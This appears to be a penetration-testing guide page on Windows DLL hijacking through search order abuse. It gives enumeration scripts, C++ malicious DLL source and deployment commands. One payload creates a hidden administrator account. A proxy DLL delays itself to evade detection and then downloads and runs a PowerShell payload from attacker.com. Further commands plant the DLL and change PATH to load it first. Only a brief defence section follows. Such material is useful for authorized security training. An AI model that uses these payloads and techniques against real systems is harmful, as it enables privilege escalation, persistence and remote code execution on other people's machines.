DLL hijacking and search order manipulation
DLL Search Order Exploitation
Understanding DLL Hijacking
DLL Hijacking is like tricking Windows into loading the wrong library. Imagine you ask someone to "bring me the hammer from the toolbox," but you don't specify which toolbox. They'll check the closest toolbox first, then the next closest, and so on. If someone places a fake hammer in the first toolbox they check, they'll bring you the fake one instead of the real hammer.
This is exactly how DLL hijacking works with Windows applications.
How Windows Searches for DLLs
When an application needs to load a DLL (Dynamic Link Library), Windows follows a specific search order. Think of this as Windows having a checklist of places to look for the DLL file.
Default Search Order:
Application Directory - The folder where the .exe file is located
System Directory - Usually C:\Windows\System32
16-bit System Directory - C:\Windows\System (legacy)
Windows Directory - C:\Windows
Current Working Directory - The folder you're currently in
PATH Environment Variable - All directories listed in your PATH
Why This Creates Vulnerability:
Windows stops at the FIRST matching DLL it finds
If you can place a malicious DLL in a location that's searched before the legitimate one, your DLL gets loaded instead
The malicious DLL inherits the same privileges as the application that loads it
Real-World Example
Let's say you have an application called "SuperApp.exe" located in C:\Program Files\SuperApp\
. When SuperApp tries to load "version.dll", Windows searches in this order:
First checks:
C:\Program Files\SuperApp\version.dll
Then checks:
C:\Windows\System32\version.dll
Then checks:
C:\Windows\version.dll
And so on...
If an attacker can write to the SuperApp directory and places their malicious "version.dll" there, Windows will load the attacker's DLL instead of the legitimate one.
SafeDllSearchMode Protection
Modern Windows includes a security feature called SafeDllSearchMode that changes the search order slightly:
Safe Search Order:
Application Directory
System Directory (C:\Windows\System32)
16-bit System Directory
Windows Directory
Current Working Directory (moved lower for security)
PATH directories
This makes the current working directory less dangerous, but other attack vectors still exist.
Enumeration
Checking Search Order Configuration
Check if SafeDllSearchMode is enabled:
reg query "HKLM\System\CurrentControlSet\Control\Session Manager" /v SafeDllSearchMode
The result tells you:
0 = Disabled (legacy, less secure behavior)
1 = Enabled (safer behavior, default on modern Windows)
Finding Writable Directories in Search Path
Manual directory permission check:
icacls "C:\Program Files\Application" | findstr /i "Users\|Everyone"
icacls "%WINDIR%" | findstr /i "Users\|Everyone"
icacls "%WINDIR%\System32" | findstr /i "Users\|Everyone"
This command shows if regular users or everyone has write access to these critical directories.
PowerShell automated search:
# Test if current user can write to a directory
function Test-DirectoryWritable {
param([string]$Path)
try {
if (-not (Test-Path $Path)) { return $false }
$testFile = Join-Path $Path "writetest_$(Get-Random).tmp"
[System.IO.File]::WriteAllText($testFile, "test")
Remove-Item $testFile -Force
return $true
} catch {
return $false
}
}
# Check common search locations
$searchPaths = @(
$env:WINDIR,
"$env:WINDIR\System32",
(Get-Location).Path
)
$searchPaths += ($env:PATH -split ';' | Where-Object {$_ -ne ""})
foreach ($path in $searchPaths) {
if (Test-Path $path) {
$isWritable = Test-DirectoryWritable -Path $path
$status = if ($isWritable) {"[WRITABLE]"} else {"[read-only]"}
Write-Output "$status $path"
}
}
This script tests each directory in the DLL search path to see if you can write files there.
Understanding the Results
When you find a writable directory that appears early in the search order, you've found a potential DLL hijacking opportunity. The key is:
Earlier in search order = Higher chance of success
Application directory = Highest priority
Current working directory = Good target if you can control it
PATH directories = Lower priority but still exploitable
Missing DLL Identification
Understanding Missing DLL Vulnerabilities
Sometimes applications try to load DLLs that don't actually exist on the system. When this happens, you get a perfect opportunity for DLL hijacking because:
The application expects the DLL to be there
Windows searches for it in the usual places
If you place your malicious DLL with the right name, Windows will happily load it
Think of it like someone asking for a book that doesn't exist in the library. If you quickly place a book with that exact title on the shelf, they'll grab your book instead.
Enumeration
Using Process Monitor (ProcMon)
Process Monitor is the gold standard tool for finding missing DLL opportunities. Here's how to use it:
ProcMon Setup Steps:
Download and run Process Monitor from Microsoft Sysinternals
Set up filters to focus on your target:
Process Name: Enter the name of the application you're testing
Operation: Select "Process and Thread Activity" and "Image/DLL"
Start monitoring and run your target application
Look for these key indicators:
"NAME NOT FOUND" events for .dll files
"PATH NOT FOUND" events in directories you can write to
Failed LoadImage operations
What to Look For: When you see an entry like this in ProcMon:
Process: SuperApp.exe
Operation: CreateFile
Path: C:\Program Files\SuperApp\version.dll
Result: NAME NOT FOUND
This tells you that SuperApp.exe is trying to load "version.dll" from its own directory, but the file doesn't exist there. If you can write to that directory, you can place your malicious version.dll there.
Using Dependency Walker
Dependency Walker shows you what DLLs an application is supposed to load:
How to use depends.exe:
Open the target application with Dependency Walker
Look for red entries (missing DLLs)
Check if any missing DLLs are in writable locations
Note any delay-loaded DLLs (loaded on-demand rather than at startup)
PowerShell Analysis
Extract DLL references from executables:
# Look for DLL names mentioned in the executable
Get-Content "C:\Program Files\App\target.exe" -Encoding Byte |
ForEach-Object { [char]$_ } |
Out-String |
Select-String "\.dll" -AllMatches |
ForEach-Object { $_.Matches.Value } |
Sort-Object -Unique
This searches through the application's binary data for any text that looks like DLL names.
Advanced Analysis Techniques
COM DLL Investigation
COM (Component Object Model) objects are another source of DLL hijacking opportunities:
Find COM DLLs in registry:
reg query HKLM\SOFTWARE\Classes\CLSID /s /f "*.dll"
This shows you all the COM objects registered on the system and their associated DLLs.
Look for missing COM DLLs:
$comObjects = Get-ChildItem "HKLM:\SOFTWARE\Classes\CLSID" -ErrorAction SilentlyContinue
foreach ($clsid in $comObjects) {
try {
$inprocServer = Get-ItemProperty "$($clsid.PSPath)\InprocServer32" -ErrorAction SilentlyContinue
if ($inprocServer -and $inprocServer.'(default)') {
$dllPath = $inprocServer.'(default)'
if (-not (Test-Path $dllPath)) {
Write-Output "Missing COM DLL: $dllPath (CLSID: $($clsid.PSChildName))"
}
}
} catch {}
}
This script finds COM objects that reference DLL files that don't exist on the system.
Service DLL Analysis
Windows services often load additional DLLs that can be hijacked:
Check service registry entries:
reg query HKLM\SYSTEM\CurrentControlSet\Services /s /f "*.dll"
Find services with missing DLLs:
$services = Get-WmiObject -Class Win32_Service
foreach ($service in $services) {
try {
$servicePath = "HKLM:\SYSTEM\CurrentControlSet\Services\$($service.Name)"
if (Test-Path $servicePath) {
$serviceKey = Get-ItemProperty $servicePath -ErrorAction SilentlyContinue
if ($serviceKey.ServiceDll -and -not (Test-Path $serviceKey.ServiceDll)) {
Write-Output "Missing Service DLL: $($serviceKey.ServiceDll) (Service: $($service.Name))"
}
}
} catch {}
}
DLL Creation and Deployment
Creating Malicious DLLs
Once you've identified a DLL hijacking opportunity, you need to create a malicious DLL that will be loaded instead of the legitimate one.
Basic Malicious DLL Structure
A Windows DLL needs specific entry points to function properly. The most important is DllMain
, which gets called when the DLL is loaded.
Simple C++ DLL example:
#include <windows.h>
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
switch (ul_reason_for_call) {
case DLL_PROCESS_ATTACH:
// This code runs when the DLL is first loaded
system("net user hacker Password123! /add");
system("net localgroup administrators hacker /add");
break;
case DLL_PROCESS_DETACH:
// This code runs when the DLL is unloaded
break;
}
return TRUE;
}
What this code does:
DllMain
is the entry point that Windows calls when loading the DLLDLL_PROCESS_ATTACH
means "run this code when the DLL is first loaded"The
system()
calls execute command-line commands to create a new user accountreturn TRUE
tells Windows the DLL loaded successfully
Compilation commands:
# Using Visual Studio compiler
cl /LD malicious_dll.cpp /Fe:hijacked.dll
# Using MinGW compiler
gcc -shared -o hijacked.dll malicious_dll.cpp -lkernel32
Advanced DLL Proxying
Sometimes you need your malicious DLL to also perform the functions of the legitimate DLL to avoid breaking the application. This is called "DLL proxying."
Proxy DLL concept:
#include <windows.h>
HMODULE hOriginalDLL = NULL;
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
switch (ul_reason_for_call) {
case DLL_PROCESS_ATTACH:
// Load the real DLL from a safe location
hOriginalDLL = LoadLibrary(L"C:\\Windows\\System32\\legitimate.dll");
// Execute malicious payload in background thread
CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)MaliciousPayload, NULL, 0, NULL);
break;
case DLL_PROCESS_DETACH:
if (hOriginalDLL) {
FreeLibrary(hOriginalDLL);
}
break;
}
return TRUE;
}
DWORD WINAPI MaliciousPayload(LPVOID lpParam) {
Sleep(5000); // Wait 5 seconds to avoid detection
system("powershell.exe -WindowStyle Hidden -Command \"IEX (New-Object Net.WebClient).DownloadString('http://attacker.com/payload.ps1')\"");
return 0;
}
// Forward function calls to the legitimate DLL
extern "C" __declspec(dllexport) int SomeFunction(int param) {
if (hOriginalDLL) {
int (*originalFunc)(int) = (int(*)(int))GetProcAddress(hOriginalDLL, "SomeFunction");
if (originalFunc) {
return originalFunc(param);
}
}
return 0;
}
What this proxy code does:
Loads the legitimate DLL from a secure location
Forwards function calls to the real DLL to maintain functionality
Runs malicious code in a separate thread to avoid blocking the application
Uses a delay to make detection harder
Deployment Strategies
Application Directory Hijacking
This is the highest-priority attack because the application directory is searched first:
Steps:
Identify the target application's directory
Check if you have write access to that directory
Place your malicious DLL there with the name of a missing or targeted DLL
Run the application
Example commands:
# Check if application directory is writable
echo test > "C:\Program Files\VulnerableApp\test.txt"
del "C:\Program Files\VulnerableApp\test.txt"
# If writable, place malicious DLL
copy malicious.dll "C:\Program Files\VulnerableApp\version.dll"
# Run the application to trigger DLL loading
"C:\Program Files\VulnerableApp\app.exe"
Current Working Directory Hijacking
If SafeDllSearchMode is disabled, the current working directory is searched early:
Attack process:
Create a directory you control
Place your malicious DLL there
Run the target application from that directory
Example:
# Create attack directory
mkdir C:\Users\Public\dll_attack
cd C:\Users\Public\dll_attack
# Place malicious DLL
copy malicious.dll version.dll
# Run target application from this directory
"C:\Program Files\VulnerableApp\app.exe"
When the application runs, it will search the current directory (your attack directory) for DLLs and load your malicious version.
PATH Directory Hijacking
This targets directories in the PATH environment variable:
Find writable PATH directories:
for %%i in ("%PATH:;=" "%") do (
echo Testing: %%i
echo test > "%%i\test.tmp" 2>nul && (
echo [WRITABLE] %%i
del "%%i\test.tmp" 2>nul
)
)
Deploy to writable PATH directory:
copy malicious.dll "C:\writable\path\directory\target.dll"
Environment Manipulation
PATH Modification Attack
You can modify the PATH environment variable to prioritize your malicious directory:
Temporary PATH modification:
set PATH=C:\malicious\directory;%PATH%
"C:\Program Files\VulnerableApp\app.exe"
PowerShell persistent PATH modification:
# Add malicious directory to beginning of PATH (highest priority)
$currentPath = [Environment]::GetEnvironmentVariable("PATH", "User")
$newPath = "C:\malicious\directory;$currentPath"
[Environment]::SetEnvironmentVariable("PATH", $newPath, "User")
This makes Windows search your malicious directory before any other PATH directories.
Working Directory Control
Many applications are vulnerable when run from attacker-controlled directories:
Attack scenario:
Create a folder with your malicious DLLs
Copy or link the target application to your folder
Run the application from your folder
The application loads your DLLs instead of the system ones
Quick Enumeration with Tools
PowerUp DLL hijacking checks:
Import-Module .\PowerUp.ps1
Find-ProcessDLLHijack
Find-PathDLLHijack
WinPEAS DLL analysis:
winpeas.exe systeminfo | findstr /i "dll"
winpeas.exe filesinfo | findstr /i "dll"
Defense and Mitigation
Enable SafeDllSearchMode:
reg add "HKLM\System\CurrentControlSet\Control\Session Manager" /v SafeDllSearchMode /t REG_DWORD /d 1 /f
Monitor DLL loading:
# Set up file system watcher for new DLLs
$watcher = New-Object System.IO.FileSystemWatcher
$watcher.Path = "C:\Windows\System32"
$watcher.Filter = "*.dll"
$watcher.EnableRaisingEvents = $true
Register-ObjectEvent -InputObject $watcher -EventName "Created" -Action {
$path = $Event.SourceEventArgs.FullPath
Write-Warning "[!] New DLL created: $path"
}
System hardening:
# Set restrictive permissions on system directories
icacls "C:\Windows\System32" /remove:g "Users"
icacls "C:\Windows\System32" /remove:g "Everyone"
Application-level protection:
Always use full paths when loading DLLs in code
Verify DLL signatures before loading
Use SetDllDirectory() API to control search paths
Enable Control Flow Guard (CFG) compilation options
This guide covers Windows DLL hijacking for authorized penetration testing only.
Last updated
Was this helpful?